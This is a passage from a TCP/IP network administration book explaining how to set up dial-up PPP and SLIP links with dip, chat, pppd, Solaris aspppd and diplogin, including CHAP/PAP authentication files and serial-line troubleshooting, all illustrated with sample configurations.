The send command sends a carriage return (\r) to the remote system. Once the modems are connected, anything sent from the local system goes all the way to the remote system. The send command can send any string. In the sample script the remote server requires a carriage return before it issues its first prompt. The carriage return is entered as \r and the newline is entered as \n.

The remote server then prompts for the username with Login>. The wait ogin> command detects this prompt and the send kristin command sends the username kristin as a response. The server then prompts for the password with Password>. The password command causes the script to ask the local user to manually enter the password. It is possible to store the password in a send command inside the script. However, this is a potential security problem if an unauthorized person gains access to the script and reads the password. The password command improves security.

If the password is accepted, our remote server prompts for input with the greater than (>) symbol. Many servers require a command to set the correct protocol mode. The server in our example supports several different protocols. We must tell it to use PPP by using send to pass it the correct command.

The script finishes with a few commands that set the correct environment on the local host. The mode command tells the local host to use the PPP protocol on this link. The protocol selected must match the protocol running on the remote server. Protocol values that are valid for the dip mode command are SLIP, CSLIP, PPP, and TERM. SLIP and CSLIP are variations of the SLIP protocol, which is discussed in the next section. TERM is terminal emulation mode. PPP is the Point-to-Point Protocol. Finally, the exit command ends the script, while dip keeps running in the background servicing the link.

This simple script does work and it should give you a good idea of the wait/send structure of a dip script. However, your scripts will probably be more complicated. The sample script is not robust because it does not do any error checking. If an expected response does not materialize, the sample script hangs. To address this problem, use a timeout on each wait command. For example, the wait OK 10 command tells the system to wait 10 seconds for the OK response. When the OK response is detected, the $errlvl script variable is set to zero and the script falls through to the next command. If the OK response is not returned before the 10-second timer expires, $errlvl is set to a non-zero value and the script continues on to the next command. The $errlvl variable is combined with the if and goto commands to provide error handling in dip scripts. Refer to Appendix A for more details.

Once the script is created it is executed with the dip command. Assume that the sample script shown above was saved to a file named start-ppp.dip. The following command executes the script, creating a PPP link between the local system and the remote server:

> dip start-ppp

Terminate the PPP connection with the command dip -k. This closes the connection and kills the background dip process.

pppd options are not configured in the dip script. dip creates the PPP connection; it doesn't customize pppd. pppd options are stored in the /etc/ppp/options file.

Assuming the dip script shown above, we might use the following pppd options:

noipdefault
ipcp-accept-local
ipcp-accept-remote
defaultroute

The noipdefault option tells the client not to look up the local address. ipcp-accept-local tells the client to obtain its local address from the remote server. The ipcp-accept-remote option tells the system to accept the remote address from the remote server. Finally, pppd sets the PPP link as the default route. This is the same defaultroute option we saw on the pppd command line in an earlier example. Any pppd option that can be invoked on the command line can be put in the /etc/ppp/options file and thus be invoked when pppd is started by a dip script.

I use dip on my home computer to set up my dial PPP connection. Personally, I find dip simple and straightforward to use. In part, that is because I am familiar with the dip scripting language. You may prefer to use the chat command that comes with the pppd software package.

6.3.3 chat

A chat script is a simple "expect/send" script consisting of the strings the system expects and the strings the system sends in response. The script is organized as a list of expect/send pairs. chat does not really have a scripting language, but it does have some special characters that can be used to create more complex scripts. The chat script to perform the same dial-up and login functions as the sample dip script would contain:

'' ATZ
OK ATDT*70,301-555-1234
CONNECT \d\d\r
ogin> kristin
word> Wats?Wat?
> 'set port ppp enabled'

Each line in the script begins with an expected string and ends with the string sent as a response. The modem does not send a string until it receives a command. The first line on the script says, in effect, "expect nothing and send the modem a reset command." The pair of single quotes (") at the beginning of the line tells chat to expect nothing. The script then waits for the modem's OK prompt and dials the remote server. When the modem displays the CONNECT message, the script delays two seconds (\d\d) and then sends a carriage return (\r). Each \d special character causes a one-second delay. The \r special character is the carriage return. chat has many special characters that can be used in the expect strings and the send strings. [15] Finally, the script ends by sending the username, password, and remote server configuration command in response to the server's prompts.

[15] See Appendix A for more details.

Create the script with your favorite editor and save it in a file such as dial-server. Test the script using chat with the -V option, which logs the script execution through stderr:

% chat -V -f dial-server

Invoking the chat script is not sufficient to configure the PPP line. It must be combined with pppd to do the whole job. The connection command-line option allows you to start pppd and invoke a dial-up script all in one command:

# pppd /dev/cua1 56700 connect "chat -V -f dial-server" \
     -detach crtscts modem defaultroute

The chat command following the connect option is used to perform the dial-up and login. Any package capable of doing the job could be called here; it doesn't have to be chat.

The pppd command has some other options that are used when PPP is run as a dial-up client. The modem option causes pppd to monitor the carrier-detect (DCD) indicator of the modem. This indicator tells pppd when the connection is made and when the connection is broken. pppd monitors DCD to know when the remote server hangs up the line. The -detach option prevents pppd from detaching from the terminal to run as a background process. This is only necessary when running chat with the -V option. When you are done debugging the chat script, you can remove the -V option from the chat subcommand and the -detach option from the pppd command. An alternative is to use -v on the chat command. -v does not require pppd to remain attached to a terminal because it sends the chat logging information to syslogd instead of to stderr. We have seen all of the other options on this command line before.

6.3.4 PPP Daemon Security

A major benefit of PPP over SLIP is the enhanced security PPP provides. Put the following pppd options in the /etc/ppp/options file to enhance security:

lock
auth
usehostname
domain nuts.com

The first option, lock, makes pppd use UUCP-style lock files. This prevents other applications, such as UUCP or a terminal emulator, from interfering with the PPP connection. The auth option requires the remote system to be authenticated before the PPP link is established. This option causes the local system to request authentication data from the remote system. It does not cause the remote system to request similar data from the local system. If the remote system administrator wants to authenticate your system before allowing a connection, she must put the auth keyword in the configuration of her system. The usehostname option requires that the hostname is used in the authentication process and prevents the user from setting an arbitrary name for the local system with the name option. (More on authentication in a minute.) The final option makes sure that the local hostname is fully qualified with the specified domain before it is used in any authentication procedure.

Recall that the ~/.ppprc file and the pppd command-line options can override options set in the /etc/ppp/options file, which could be a security problem. For this reason, several options, once configured in the /etc/ppp/options file, cannot be overridden. That includes the options just listed.

pppd supports two authentication protocols: Challenge Handshake Authentication Protocol (CHAP) and Password Authentication Protocol (PAP). PAP is a simple password security system that is vulnerable to all of the attacks of any reusable password system. CHAP, however, is an advanced authentication system that does not use reusable passwords and that repeatedly re-authenticates the remote system.

Two files are used in the authentication process, the /etc/ppp/chap-secrets file and the /etc/ppp/pap-secrets file. Given the options file shown above, pppd first attempts to authenticate the remote system with CHAP. To do this, there must be data in the chap-secrets file and the remote system must respond to the CHAP challenge. If either of these conditions are not true, pppd attempts to authenticate the remote system with PAP. If there is no applicable entry in the pap-secrets file or the remote system does not respond to the PAP challenge, the PPP connection is not established. This process allows you to authenticate remote systems with CHAP (the preferred protocol), if they support it, and to fall back to PAP for systems that support only PAP. For this to work, however, you must have the correct entries in both files.

Each entry in the chap-secrets file contains up to four fields:

client

The name of the computer that must answer the challenge, i.e., the computer that must be authenticated before the connection is made. This is not necessarily a client that is seeking access to a PPP server. Client is the term used in most of the documentation, but really this is the respondent - the system that responds to the challenge. Both ends of a PPP link can be forced to undergo authentication. In your chap-secrets file you will probably have two entries for each remote system: one entry to authenticate the remote system and a corresponding entry to authenticate your system when it is challenged by the remote system.

server

The name of the system that issues the CHAP challenge, i.e., the computer that requires the authentication before the PPP link is established. This is not necessarily a PPP server. The client system can require the server to authenticate itself. Server is the term used in most documentation, but really this is the authenticator - the system that authenticates the response.

secret

The secret key that is used to encrypt the challenge string before it is sent back to the system that issued the challenge.

address

An address, written as a hostname or an IP address, that is acceptable for the host named in the first field. If the host listed in the first field attempts to use an address other than the address listed here, the connection is terminated even if the remote host properly encrypts the challenge response. This field is optional.

A sample chap-secrets file for the host macadamia might contain:

cashew     macadamia  Peopledon'tknowyou    172.16.15.3
macadamia  cashew     andtrustisajoke.      172.16.15.1

The first entry is used to validate cashew, the remote PPP server. cashew is being authenticated and the system performing the authentication is macadamia. The secret key is "Peopledon'tknowyou". The allowable address is 172.16.15.3, which is the address assigned to cashew in the host table. The second entry is used to validate macadamia when cashew issues the challenge. The secret key is "andtrustisajoke.". The only address macadamia is allowed to use is 172.16.15.1. A pair of entries, one for each end of the link, is normal. The chap-secret file usually contains two entries for every PPP link: one entry for validating the remote system and one entry for answering the challenge of that remote system.

Use PAP only when you must. If you deal with a system that does not support CHAP, make an entry for that system in the pap-secrets file. The format of pap-secrets entries is the same as those used in the chap-secrets file. A system that does not support CHAP might have the following entry in the pap-secrets file:

acorn     macadamia  Wherearethestrong?  acorn.nuts.com
macadamia acorn      Whoarethetrusted?   macadamia.nuts.com

Again we have a pair of entries: one for the remote system and one for our system. We support CHAP but the remote system does not. Thus we must be able to respond using the PAP protocol in case the remote system requests authentication.

PPP authentication improves security in a dial-up environment. It is most important when you run the PPP server into which remote systems dial. In the next section, we look at PPP server configuration.

6.3.5 PPP Server Configuration

The PPP server is started by the /etc/ppp/ppplogin script. [16] ppplogin is a login shell script for dial-in PPP users. Replace the login shell entry in the /etc/passwd file with the path of ppplogin to start the server. A modified /etc/passwd entry might contain:

[16] The example is for Linux systems running pppd. It may be different on your system. Check your system's documentation.

craig:wJxX.iPuPzg:101:100:Craig Hunt:/tmp:/etc/ppp/ppplogin

The fields are exactly the same as any /etc/passwd entry: username, password, uid, gid, gcos information, home directory, and login shell. For a remote PPP user, the home directory is /tmp and the login shell is the full path of the ppplogin program. The encrypted password must be set using the passwd program, just as it is for any user. And the login process is the same as it is for any user. When getty detects incoming traffic on the serial port it invokes login to authenticate the user. login verifies the username and the password entered by the user and starts the login shell. In this case the login shell is actually a shell script that configures the PPP port and starts the PPP daemon. Our sample /etc/ppp/ppplogin script is:

#!/bin/sh
mesg -n
stty -echo
exec /sbin/pppd auth passive crtscts modem

The first two lines demonstrate that the ppplogin file can contain more than just the pppd command. The mesg -n command makes sure that other users cannot write to this terminal with talk, write, or similar programs. The stty command turns off character echoing. On some systems, characters typed at the terminal are echoed from the remote host instead of being locally echoed by the terminal; this behavior is called full duplex. We don't want to echo anything back on a PPP link, so we turn full duplex off.

The key line in the script is, of course, the line that starts pppd. We start the daemon with several options, but one thing that is not included on the command line is the tty device name. In all of the previous pppd examples, we provided a device name. When it is not provided, as is this case, pppd uses the controlling terminal as its device and doesn't put itself in background mode. This is just what we want. We want to use the device that login was servicing when it invoked the ppplogin script.

The auth command-line option tells pppd to authenticate the remote system, which of course requires us to place an entry for that system in the chap-secrets or the pap-secret file. The crtscts option turns on hardware flow control, and the modem option tells PPP to monitor the modem's DCD indicator so that it can detect when the remote system drops the line. We have seen all of these options before. The one new option is passive. With passive set, the local system waits until it receives a valid LCP packet from the remote system, even if the remote system fails to respond to its first packet. Normally, the local system would drop the connection if the remote system fails to respond in a timely manner. This option gives the remote system time to initialize its own PPP daemon.

Creating an appropriate ppplogin script and defining it as a login shell in the /etc/passwd file are all that is necessary to run pppd as a server.

6.3.6 Solaris PPP

dip and pppd are available for Linux, BSD, AIX, Ultrix, OSF/1, and SunOS. If you have a different operating system, you probably won't use these packages. Solaris is a good example of a system that uses a different set of commands to configure PPP.

PPP is implemented under Solaris as the Asynchronous PPP Daemon (aspppd). aspppd is configured by the /etc/asppp.cf file. The asppp.cf file is divided into two sections: an ifconfig section and a path section.

ifconfig ipdptp0 plumb macadamia cashew up

path
   interface ipdptp0
   peer_system_name cashew
   inactivity_timeout 300

The ifconfig command configures the PPP interface (ipdptp0) as a point to point link with a local address of macadamia and a destination address of cashew. The ifconfig command does not have to define the destination address of the link. However, if you always connect to the same remote server, it will probably be defined here as the destination address. We saw all of these options in the discussion of the ifconfig command earlier in this chapter.

The more interesting part of this file is the path section, which defines the PPP environment. The interface statement identifies the interface used for the connection. It must be one of the PPP interfaces defined in the ifconfig section. In the example, only one is defined, so it must be ipdptp0. The peer_system_name statement identifies the system at the remote end of the connection, which may be the same address as the destination address from the ifconfig statement as it is in our example. But it doesn't have to be. It is possible to have no destination address on the ifconfig command and several path sections if you connect to several different remote hosts. The hostname on the peer_system_name statement is used in the dialing process as described later.

The path section ends with an inactivity_timeout statement. The command in the sample sets the timeout to 300 seconds. This is interesting because it points to a nice feature of the Solaris system. Solaris automatically dials the remote system when it detect data that needs to be delivered through that system. Further, it automatically disconnects the PPP link when it is inactive for the specified time. With this feature you can use a PPP link without manually initiating the dial program and without tying up phone lines when the link is not in use.

Like pppd, aspppd does not have a built-in dial facility. It relies on an external program to do the dialing. In the case of aspppd, it utilizes the dial-up facility that comes with UUCP. Here's how.

First, the serial port, the modem attached to it, and the speed at which they operate are defined in the /etc/uucp/Devices file. For example, here we define an Automatic Call Unit (ACU is another name for a modem) attached to serial port B (cua/b) that operates at any speed defined in the Systems file, and that has the modem characteristics defined by the "hayes" entry in the Dialers file:

ACU cua/b - Any hayes

Next, the modem characteristics, such as its initialization setting and dial command, are defined in the /etc/uucp/Dialers file. The initialization and dial commands are defined as a chat script using the standard expect/send format and the standard set of chat special characters. For example:

hayes =,-, "" \dA\pTE1V1X1Q0S2=255S12=255\r\c OK\r \EATDT\T\r\c CONNECT

The system comes with Devices and Dialers pre-configured. The pre-configured entries are probably compatible with the modem on your system. The /etc/uucp/Systems file may be the only configuration file that you modify. In the systems file you need to enter the name of the remote system, select the modem you'll use, enter the telephone number, and enter a chat script to handle the login. For example:

cashew Any ACU 19200 5551234 "" \r ogin> kristin word> Wats?Watt? >
     set ppp on

In this one line, we identify cashew as the remote system, declare that we allow connections to and from that hosts at any time of the day (Any), select the ACU entry in the Devices file to specify the port and modem, set the line speed to 19200, send the dialer the telephone number, and define the login chat script.

This is not a book about UUCP, so we won't go into further details about these files. I'd suggest Using and Managing UUCP (by Ed Ravin, O'Reilly & Associates) for more information about UUCP and the Solaris TCP/IP Network Administration Guide (where did they come up with such a great name?) for more information about aspppd.

Previous: 6.2 TCP/IP Over a Serial Line | TCP/IP Network Administration | Next: 6.4 Installing SLIP
6.2 TCP/IP Over a Serial Line | Book Index | 6.4 Installing SLIP


[Chapter 6] 6.4 Installing SLIP

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 6.3 Installing PPP Chapter 6
Configuring the Interface 		Next: 6.5 Summary

6.4 Installing SLIP

Installing Serial Line IP (SLIP) is very similar to installing PPP. As with PPP, support for SLIP is usually installed in the kernel - but that is only part of the configuration. The SLIP network interface also must be configured.

PPP and SLIP configuration is complicated by the fact that these serial line protocols support both dedicated and dial-up connections. For our Linux sample system, this means that two different commands are used to configure a SLIP interface depending on whether it is a dedicated or a dial-up connection. In this section we discuss both, beginning with the configuration command for dedicated connections.

6.4.1 slattach

The slattach command "attaches" the SLIP protocol to a specific serial interface. For example:

# slattach /dev/tty03 &

This command tells the SLIP protocol to use /dev/tty03 as its serial interface. The slattach command can optionally set some configuration parameters for the serial interface. The syntax of slattach on a Slackware 96 Linux system is:

slattach [-h | -c | -6] ttyname [baudrate]

The three options, -h, -c, and -6, select the type of SLIP protocol used. -h selects uncompressed SLIP with full headers. CSLIP with Van Jacobsen header compression is selected with -c. Use -6 to select six-bit SLIP. If none of these options is selected, the slattach command defaults to CSLIP.

The baudrate argument sets the interface's transmission speed. Set the speed by entering a number that corresponds to the bit rate that is used to transmit and receive data on this line, e.g., 56000. Both ends of the line must set exactly the same bit rate. This may be determined by the characteristics of the leased line, or by the hardware interfaces for a direct cable connection. Regardless, the transmission speed is a physical characteristic limited by the equipment on the line. A default transmission speed of 9600 bits per second is used if no baudrate value is entered on the command line.

The ttyname is the name of the serial interface attached to the leased line or direct cable connection. The serial interfaces are identified by the system during the boot. dmesg and grep displays the interface names on a Slackware 96 Linux system:

> dmesg | grep tty
tty00 at 0x03f8 (irq = 4) is a 16550A
tty01 at 0x02f8 (irq = 3) is a 16550A
tty03 at 0x02e8 (irq = 3) is a 16550A

This list of serial interface names is from a PC running Linux. Assume we connect the direct connection cable to tty01, which is equivalent to the MS-DOS interface COM2. In that case, use tty01 as the ttyname value on the slattach command. Notice that the slattach command identifies the physical serial device (/dev/tty01) instead of the IP network interface (sl0). That is because the SLIP IP interface does not exist until after slattach executes. The first slattach command creates the sl0 interface, the second creates the sl1 interface, and so on. slattach attaches a physical interface to the logical IP network.

Like ifconfig, the slattach command is stored in a startup file. It configures the serial interface when the system boots, and the interface remains dedicated to SLIP use unless some action is taken to detach it, i.e., the slattach process is killed. On a Slackware 96 Linux system the following commands might be added to the /etc/rc.d/rc.inet1 file to configure a dedicated SLIP connection:

slattach -c /dev/tty01 19200 &
ifconfig sl0 macadamia pointopoint cashew
route add default cashew 1

The pppd dedicated line configuration requires only one command. The slattach command needs an ifconfig command and a route command to complete the configuration. The route command is explained in Chapter 7, Configuring Routing .

The slattach command declares that the physical serial device /dev/tty01 is the SLIP network interface. In essence this creates the interface sl0. The ifconfig command configures the newly created SLIP interface. It sets the address of the interface to the IP address of host macadamia. Further, it says that the destination address of this interface is the IP address of the host cashew at the far end of the dedicated SLIP link. The IP addresses for both macadamia and cashew should be in the local hosts file before this ifconfig command is executed.

The examples in this section all use the syntax of the slattach command that comes with Slackware 96 Linux. SLIP commands are not standardized. The command that comes with your system will probably have a different syntax; carefully read your system's documentation so you'll know the exact syntax used on your system. For example, other versions of Linux use this syntax:

slattach [-p protocol] [-s speed] device

Here the various SLIP protocols are selected with the -p option. The acceptable protocol values are: slip, cslip, slip6, cslip6, and adaptive. If adaptive is selected, the system tries to determine which protocol is acceptable to the remote system. The -s option sets the line speed, e.g., -s 56000. The device is one of the call units configured on the system. Examples of valid call unit device names are cua0, cua1, cua2, cua3, etc. The device names from cua0 to cua3 correspond to the MS-DOS devices COM1 to COM4. A call unit is normally associated with dial communications.

slattach expects the physical connection to the remote system to exist when slattach is invoked. The physical connection can be a direct connection, a leased line, or a dial line. But if a dial-up connection is used, some process, such as cu or tip, must establish the physical connection before slattach is invoked. As we have seen, dip is a command that is specifically designed to support dial-up IP connections.

6.4.2 Dial-Up IP

Earlier in this chapter we used dip to create a dial-up PPP connection. dip can also be used for SLIP. It is actually quite simple. A slight modification of the dip script used earlier creates a SLIP link. The following script connects a PC named macadamia to a SLIP server named cashew:

# Set the local and remote addresses
get $locip 172.16.15.1
get $rmtip 172.16.15.3
# Select the port and set the line speed
port cua1
speed 38400
# Reset the modem and flush the terminal
reset
flush
# Dial the SLIP server and wait for the CONNECT response
dial *70,301-555-1234
wait CONNECT
# Wait 2 seconds for the remote server to get ready
sleep 2
# Send a carriage-return to wake up the server
send \r
# Wait for the Login> prompt and send the username
wait ogin>
send kristin\r
# Wait for the Password> prompt and send the password
wait word>
password
# Wait for the SLIP server's command line prompt
wait >
# Send the command required by the SLIP server
send set cslip enabled\r
# Select the SLIP interface as the default route
default
# Set the interface to CSLIP mode
mode CSLIP
# Exit the script
exit

Modifications to a few lines from the PPP script were required to create a SLIP dial-up script. Obvious changes replace the remote server's PPP command with a SLIP command and change the mode command in the script to invoke SLIP instead of PPP. We also added some new lines to perform tasks for SLIP that PPP can do on its own.

The script begins by setting the local IP address and the remote IP address. $locip and $rmtip are script variables used to identify the hosts at both ends of the link, which is analogous to the pointopoint parameter on the ifconfig command that we saw in the previous section. The two get statements set the local interface to the address 172.16.15.1 and the destination address to 172.16.15.3. SLIP does not have a standard way within the protocol to exchange addresses. We had to add specific local and remote IP addresses to the script.

The default statement near the end of the script says that the SLIP connection is the local system's default route. Since SLIP is most often used to connect small isolated systems into the network, this is usually true. This statement performs the same function as the route command in the slattach example or the defaultroute option in the /etc/ppp/options file.

6.4.3 SLIP Server Configuration

So far, we have used dip to establish a dial-in SLIP link to a remote server. dip can also provide the server side of a SLIP connection. The -i option sets dip to input mode, which configures the system to act as a dial-in server. An alternative, and more popular, way to invoke dip with the -i option is to use the diplogin command. diplogin is symbolically linked to the dip command and is exactly the same as specifying dip with the -i option. We'll use diplogin throughout this section.

diplogin is used as the login shell for dial-in SLIP users. The system administrator puts diplogin in the /etc/passwd entry for each remote SLIP user as the user's login shell. For example:

craig:wJxX.iPuPzg:101:100:Craig Hunt:/tmp:/sbin/diplogin

login verifies the username and password, assigns the user /tmp as a home directory and starts his login shell. In this case the shell is diplogin.

The diplogin program then tries to find an entry for the user in the /etc/diphosts file. It searches for the username that was entered during the login process unless that username is overridden by another directly on the diplogin command line. For example: when the /etc/passwd entry shown above starts diplogin, the username craig is used to search the /etc/diphosts file. Conversely, in the /etc/passwd entry shown below, the username essex that appears after the diplogin command is used for the search.

hunt:AbxdkiThinR:102:100:Rebecca Hunt:/tmp:/sbin/diplogin essex

The format of entries in the /etc/diphost file is:

user:password:remote-host:local-host:netmask:comment:protocol,mtu

user

A username. This is the key field against which a username from the /etc/passwd file or from an argument on the diplogin command line is matched.

password

An unencrypted password, the keyword s/key, or null (an empty field). If an unencrypted password is entered in this field, diplogin prompts the user for the password. This is in addition to the standard password from the /etc/passwd file that the user has already been required to enter. Because this second password is stored in an unencrypted format, it is not considered very secure. Sites that are big on security don't consider any reusable passwords secure enough to be meaningful, and sites that don't worry too much about security don't consider a second password necessary. For these reasons, the unencrypted password is rarely used. If this field contains the keyword s/key, diplogin invokes S/Key authentication. This requires that S/Key support is compiled into diplogin, and that S/Key is installed in your system. Because S/Key is a one-time password system, it's considered very secure. However, it is a headache for users and system administrators. See Chapter 12, Network Security for a full discussion of one-time passwords. If the password field is null, the authentication is left to login and the user is not asked for a second password.

remote-host

The hostname or IP address of the remote host; i.e., the computer from which the user is logging in.

local-host

The hostname or IP address of the local host; i.e., the computer on which this SLIP server is running.

netmask

The network mask for the serial interface written in dotted decimal notation, such as 255.255.0.0. If no value is provided the netmask defaults to 255.255.255.0, regardless of the class of addresses used on the network.

comment

A free-form comment field, similar to the gcos field in the /etc/passwd file.

protocol,mtu

The IP protocol and the maximum transmission unit used for this connection. Possible protocol values are SLIP, CSLIP, and PPP. The MTU is any valid transmission unit specified in bytes. The largest MTU used on SLIP lines is generally 1006 bytes. However, SLIP performance is often improved by smaller packet sizes. Common choices are 512 and 256.

Assuming the two /etc/passwd entries shown above, we might have an /etc/diphosts file with the following entries:

craig::cashew:macadamia:255.255.255.240:Craig Hunt:CSLIP,512
essex::essex:macadamia::Remote client essex.nuts.com:PPP,1006

When the login authenticates the user craig, it starts diplogin as the login shell. diplogin finds the entry for craig, does not prompt for a second password, sets the local address to macadamia and the remote address to cashew, and starts a CSLIP server using an MTU of 512. However, if the user hunt logs into the system, login starts diplogin with the username essex. The /etc/diphosts entry for essex starts a PPP server with a local address of macadamia, a remote address of essex and an MTU of 1006. The essex entry allows the netmask to default to 255.255.255.0. The servers started by diplogin run until the modem hangs up the connection.

Clearly dip is more than just a chat script. It provides client and server support for a variety of protocols. See Appendix A for more information about dip.

6.4.4 Troubleshooting Serial Connections

There are several layers of complexity that make PPP and SLIP connections difficult to debug. To set up PPP and SLIP, we must set up the serial port, configure the modem, configure PPP or SLIP, and configure TCP/IP. A mistake in any one of these layers can cause a problem in another layer. All of these layers can obscure the true cause of a problem. The best way to approach troubleshooting on a serial line is by debugging each layer, one layer at a time. It is usually best to troubleshoot each layer before you move on to configure the next layer.

The physical serial ports should be configured by the system during the system boot. Check the /dev directory to make sure they are configured. On a Linux system the in-bound serial ports are /dev/ttyS0 through /dev/ttyS3 and the out-bound serial ports are /dev/cua0 through /dev/cua3. There are many more tty* and cua* device names. However, the other devices are only associated with real physical devices if you have a multi-port serial card installed in your Linux system. Most UNIX systems use the names tty* and cua*, even if those names are just symbolic links to the real devices. Solaris 2.5.1 is a good example:

% ls -l /dev/tty?
lrwxrwxrwx 1 root root 6 Sep 23  1996 /dev/ttya -> term/a
lrwxrwxrwx 1 root root 6 Sep 23  1996 /dev/ttyb -> term/b
% ls -l /dev/cua/*
lrwxrwxrwx 1 root root 35 Sep 23 1996 /dev/cua/a ->
     /devices/obio/zs@0,100000:a,cu
lrwxrwxrwx 1 root root 35 Sep 23 1996 /dev/cua/b ->
     /devices/obio/zs@0,100000:b,cu

If the serial devices do not show up in the /dev directory, they can be manually added with a mknod command. For example, the following commands create the serial devices for the first serial port on a Linux system:

# mknod -m 666 /dev/cua0 c 5 64
# mknod -m 666 /dev/ttyS0 c 4 64

However, if you need to add the serial devices manually, there may be a problem with the kernel configuration. The serial devices should be installed in your system by default during the boot.

The modem used for the connection is attached to one of the serial ports. Before attempting to build a dial-up script, make sure the modem works and that you can communicate with it through the port. Use a simple serial communications package, such as minicom, kermit, or seyon. First, make sure the program is configured to use your modem. It must be set to the correct port, speed, parity, number of databits, etc. Check your modem's documentation to determine these settings.

We'll use minicom on a Linux system for our examples. To configure minicom, su to root and run it with the -s option, which displays a configuration menu. Walk through the menu and make sure everything is properly set. One thing you might notice is that the port is set to /dev/modem. That device name is sometimes symbolically linked to the port to which the modem is connected. If you're not sure that the link exists on your system, enter the correct port name in the minicom configuration, e.g., /dev/cua1. After checking the configuration, exit the menu and use the minicom terminal emulator to make sure you can communicate with the modem:

Minicom 1.71 Copyright (c) Miquel van Smoorenburg
Press CTRL-A Z for help on special keys

AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
OK
atz
OK
atdt555-1234
CONNECT 26400/LAPM-V
^M
Enter login> kristin
Enter user password> Wats?Watt?

   Welcome to the PPP MODEM POOL

PORT-9> set port ppp enabled
+++
OK
ath
OK
atz
OK
^A
CTRL-A Z for help | 38400 8N1 | NOR | Minicom 1.71 1995 | VT102 |
     Offline
X

In the sample, minicom displays two header lines and then sends a Hayes command (AT) to the modem. We didn't set this command; it was part of the default minicom configuration. (If it causes problems, edit it out of the configuration using the menus discussed previously.) We then reset the modem (atz) and dial the remote server (atdt). When the modems connect, we log in to the server and configure it. (The login process is different for every remote server; this is just an example.) Everything appears to be running fine, so we end the connection by getting the modem's attention (+++), hanging up the line (ath), and resetting the modem. Exit minicom by pressing CTRL-A followed by X. On our sample system the port and modem are working. If you cannot send simple commands to your modem, check that:

  • The modem is properly connected to the port

  • You have the correct cables

  • The modem is powered up

  • The modem is properly configured for dial-out and for echoing commands

When the modem responds to simple commands, use it to dial the remote server as we did in the example above. If the modem fails to dial the number or displays the message NO DIALTONE, check that the telephone line is connected to the correct port of the modem and to the wall jack. You may need to use an analog phone to test the telephone wall jack and you may need to replace the line between the modem and the wall to make sure that the cable is good. If the modem dials but fails to successfully connect to the remote modem, check that the local modem configuration matches the configuration required by the remote system. You must know the requirements of that remote system to successfully debug a connection. See the following list of script debugging tips for some hints on what to check. If you can successfully connect to the remote system, note everything you entered to do so, and note everything that the modem and the remote server display. Then set the remote server to PPP or SLIP mode and note how you accomplished this. You will need to duplicate all of these steps in your dip script.

Start with a bare-bones script, like the sample start-ppp.dip script, so that you can debug the basic connection before adding the complexity of error processing to the script. Run the script through dip using the verbose option (-v) option. This displays each line of the script as it is processed. Look for the following problems:

  • The modem does not respond to the script. Check that you are using the correct device on the port command. Make sure that if the script contains databits, parity, speed, or stopbits commands that they are set to values compatible with your modem. Double-check that the modem is Hayes-compatible, particularly if you attempt to do modem configuration using dip keywords instead of using send.

  • The modem fails to connect to the remote host. Make sure the modem is configured exactly as it was during the manual login. The modem's databits, parity, etc. need to match the configuration of the remote system. It is possible that you will need a special configuration, for example, 7-bit/even-parity, to perform the login before you can switch to the 8-bit/no-parity configuration required by PPP and SLIP. Don't forget to check that the phone number entered in the dial command is correct, particularly if the modem displays VOICE, RING - NO ANSWER, or BUSY when you expect to see CONNECT.

  • The script hangs. It is probably waiting for a response. Make sure that the string in each wait command is correct. Remember that the string only needs to be a subset of the response. It is better to use the string ">" than it is to use "Port9>" if you are not sure whether the remote system always displays the same port number. Use a substring from the end of the expected response so that the script does not send to the server before the server is ready for input. Also try putting a delay into the script just before the script sends the first command to the server, e.g., sleep 2 to delay 2 seconds. A delay is sometimes needed to allow the server to initialize the port after the modems connect.

  • The remote server displays an error message. The script probably sent an incorrect value. Check the string in each send command. Make sure they terminate with the correct carriage-return or line-feed combination expected by the remote server.

If you have trouble with the script, try running dip in test mode (-t), which allows you to enter each command manually one at a time. Do this repeatedly until you are positive that you know all the commands needed to log in to the remote server. Then go back to debugging the script. You'll probably have fresh insight into the login process that will help you find the flaw in the script.

Once the script is running and the connection is successfully made, things should run smoothly. You should be able to ping the remote server without difficulty. If you have problems they may be in the IP interface configuration or in the default route. The script should have created the serial interface. The netstat -ni command shows which interfaces have been configured:

# netstat -ni
Name Mtu  Net/Dest     Address     Ipkts Ierrs Opkts Oerrs Collis Queue
le0  1500 172.16.15.0  172.16.15.1      1     0    4     0      0     0
lo0  1536 127.0.0.0    127.0.0.1     1712     0 1712     0      0     0
ppp0 1006 172.16.15.26 172.16.15.3      0     0    0     0      0     0

The interface, ppp0 in the example, has been installed. The default command in the script creates a default route. Use netstat to see the contents of the routing table:

# netstat -nr
Routing tables
Destination      Gateway          Flags  Refcnt  Use Interface
127.0.0.1        127.0.0.1           UH      1    28      lo0
default          172.16.25.3          U      0     0      ppp0
172.16.15.0      172.16.15.1          U      21 1687      le0

The contents of routing tables are explained in detail in the next chapter. For now, just notice that interface used for the default route is ppp0, and that the default route is a route to the remote PPP server (172.16.25.3 in the example).

If the script creates the connection, the interface is installed, and the routing table contains the default route, everything should work fine. If you still have problems they may be related to other parts of the TCP/IP installation. Refer to Chapter 11, Troubleshooting TCP/IP , for more troubleshooting information.

Previous: 6.3 Installing PPP | TCP/IP Network Administration | Next: 6.5 Summary
6.3 Installing PPP | Book Index | 6.5 Summary


[Chapter 6] 6.5 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 6.4 Installing SLIP Chapter 6
Configuring the Interface 		Next: 7. Configuring Routing

6.5 Summary

TCP/IP works with a wide variety of networks. TCP/IP cannot make assumptions about the network it runs on - the network interface and its characteristics must be identified to TCP/IP. In this chapter we have looked at several examples of how to configure the physical network interface over which TCP/IP runs.

ifconfig is the most commonly used interface configuration command. It assigns the interface its IP address, sets the subnet mask, sets the broadcast address, and performs several other functions.

TCP/IP can also run over telephone lines using dial-up connections. Two protocols are available to do this: Serial Line IP (SLIP) and Point-to-Point Protocol (PPP). PPP is the preferred choice. It is an Internet standard and offers better reliability, performance, and security.

There are several steps to setting up a PPP or a SLIP connection: selecting and configuring the serial protocol, configuring the port and modem, making the dial-up connection, and completing the remote login. Some programs, such as dip, combine all of these steps into one program. Other programs, such as pppd and chat, separate the functions.

Configuring the network interface allows us to talk to the local network, while configuring routing allows us to talk to the world. We touched on routing in Chapter 2 and again in this chapter in our discussion of routing metrics for ifconfig and default routes for PPP and SLIP. In the next chapter we look at routing in much greater detail.

Previous: 6.4 Installing SLIP | TCP/IP Network Administration | Next: 7. Configuring Routing
